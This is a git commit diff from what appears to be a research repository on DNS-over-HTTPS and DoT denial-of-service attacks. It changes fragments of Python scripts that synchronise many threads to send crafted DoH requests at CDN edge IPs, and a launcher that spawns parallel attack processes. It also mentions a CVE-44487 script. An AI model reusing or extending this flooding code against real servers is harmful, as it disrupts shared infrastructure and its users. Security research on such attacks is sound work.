update
This commit is contained in:
BIN
6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc
Normal file
BIN
6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc
Normal file
Binary file not shown.
@@ -10,7 +10,6 @@ import sys
|
|||||||
import time
|
import time
|
||||||
import requests
|
import requests
|
||||||
import dns.message
|
import dns.message
|
||||||
import httpx
|
|
||||||
import gzip
|
import gzip
|
||||||
import io
|
import io
|
||||||
import pandas as pd
|
import pandas as pd
|
||||||
@@ -18,7 +17,6 @@ import tqdm
|
|||||||
from concurrent.futures import ThreadPoolExecutor
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
import threading
|
import threading
|
||||||
from dns.message import make_query
|
from dns.message import make_query
|
||||||
from logger_DoE import *
|
|
||||||
|
|
||||||
def ge_cookie():
|
def ge_cookie():
|
||||||
cookie = ""
|
cookie = ""
|
||||||
@@ -47,7 +45,7 @@ def send_request(event,url,t,latency,stime):
|
|||||||
body = ','.join([f'{name}: {value}' for name, value in headers.items()])
|
body = ','.join([f'{name}: {value}' for name, value in headers.items()])
|
||||||
request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n"
|
request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n"
|
||||||
conn.send(request_line.encode())
|
conn.send(request_line.encode())
|
||||||
headers0 = {'host': 'www.doeresearch.site'}
|
headers0 = {'host': 'doegj.lushlife.space'}
|
||||||
headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()])
|
headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()])
|
||||||
conn.send(headers0.encode())
|
conn.send(headers0.encode())
|
||||||
|
|
||||||
@@ -92,7 +90,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
|
||||||
path = '/root/Nora/cdn/'
|
path = ''
|
||||||
#path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/'
|
#path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/'
|
||||||
df = pd.read_csv(path+'fastly_att.csv',nrows=64)
|
df = pd.read_csv(path+'fastly_att.csv',nrows=64)
|
||||||
data = df.set_index('ip')['latency'].to_dict()
|
data = df.set_index('ip')['latency'].to_dict()
|
||||||
@@ -112,7 +110,7 @@ if __name__ == '__main__':
|
|||||||
start_time = time.perf_counter()
|
start_time = time.perf_counter()
|
||||||
# while time.perf_counter() - start_time < 0.1:
|
# while time.perf_counter() - start_time < 0.1:
|
||||||
# pass
|
# pass
|
||||||
#print('all waiting')
|
print('all waiting')
|
||||||
while time.perf_counter() - stime < wait_time:
|
while time.perf_counter() - stime < wait_time:
|
||||||
pass
|
pass
|
||||||
# 触发事件,同时释放所有线程
|
# 触发事件,同时释放所有线程
|
||||||
@@ -120,7 +118,7 @@ if __name__ == '__main__':
|
|||||||
# 等待所有线程完成
|
# 等待所有线程完成
|
||||||
for t in threads:
|
for t in threads:
|
||||||
t.join()
|
t.join()
|
||||||
#print('ATT over:',time.time() - s_time)
|
print('ATT over:',time.time() - s_time)
|
||||||
#for i in tqdm.tqdm(range(1000)):
|
#for i in tqdm.tqdm(range(1000)):
|
||||||
#send_request("151.101.76.204",0,0,0)
|
#send_request("151.101.76.204",0,0,0)
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ import random
|
|||||||
import string
|
import string
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import dns
|
import dns.message
|
||||||
|
|
||||||
from logger_DoE import *
|
from logger_DoE import *
|
||||||
|
|
||||||
@@ -31,7 +31,7 @@ logger = InfoLogger(interval=1)
|
|||||||
logger.log_info(LogLevel.INFO, "程序开始运行")
|
logger.log_info(LogLevel.INFO, "程序开始运行")
|
||||||
for i in range(int(args.n)):
|
for i in range(int(args.n)):
|
||||||
#print(f"python3 cve44487.py -s {i}")
|
#print(f"python3 cve44487.py -s {i}")
|
||||||
os.popen(f"python att_pending_https.py -stime {stime} -round {round} -wait {wait_time}")
|
os.popen(f"python3 att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}")
|
||||||
|
|
||||||
message = dns.message.make_query(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A")
|
message = dns.message.make_query(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A")
|
||||||
message.flags |= dns.flags.RD
|
message.flags |= dns.flags.RD
|
||||||
|
|||||||
BIN
7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc
Normal file
BIN
7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc
Normal file
Binary file not shown.
Reference in New Issue
Block a user